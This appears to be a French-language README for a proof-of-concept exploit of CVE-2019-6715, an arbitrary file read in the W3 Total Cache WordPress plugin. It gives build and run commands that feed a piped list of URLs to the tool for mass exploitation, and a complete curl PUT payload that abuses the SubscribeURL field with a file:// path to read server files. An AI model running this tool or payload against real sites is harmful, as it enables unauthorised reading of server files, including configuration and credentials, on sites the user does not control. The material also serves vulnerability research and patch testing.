random-robbie/cve-2019-6715Exploit PoC pour CVE-2019-6715 : lecture de fichier arbitraire dans le plugin WordPress W3 Total Cache via un JSON SubscriptionConfirmation malveillant. Lit les fichiers des serveurs vulnérables à l'aide d'une liste d'URL piped.
go get github.com/fatih/color
go build
cat list.txt | ./2019-6715
Toutes les URL vulnérables sont consignées dans text.log
Description : pub/sns.php dans le plugin W3 Total Cache avant 0.9.4 pour WordPress permet à des attaquants distants de lire des fichiers arbitraires via le champ SubscribeURL dans les données JSON SubscriptionConfirmation.
Type de vulnérabilité : lecture de fichiers arbitraires
Fournisseur du produit : plugin W3 Total Cache Wordpress par Frederick Townes
Base de code du produit affecté : W3 Total Cache - 0.9.2.6 - 0.9.3, corrigé dans 0.9.4
Composant affecté : fichier de code source affecté : w3-total-cache/pub/sns.php
curl -X PUT --data '{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"file://file_path"}' -H 'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36' http://victim.com/wp-content/plugins/w3-total-cache/pub/sns.php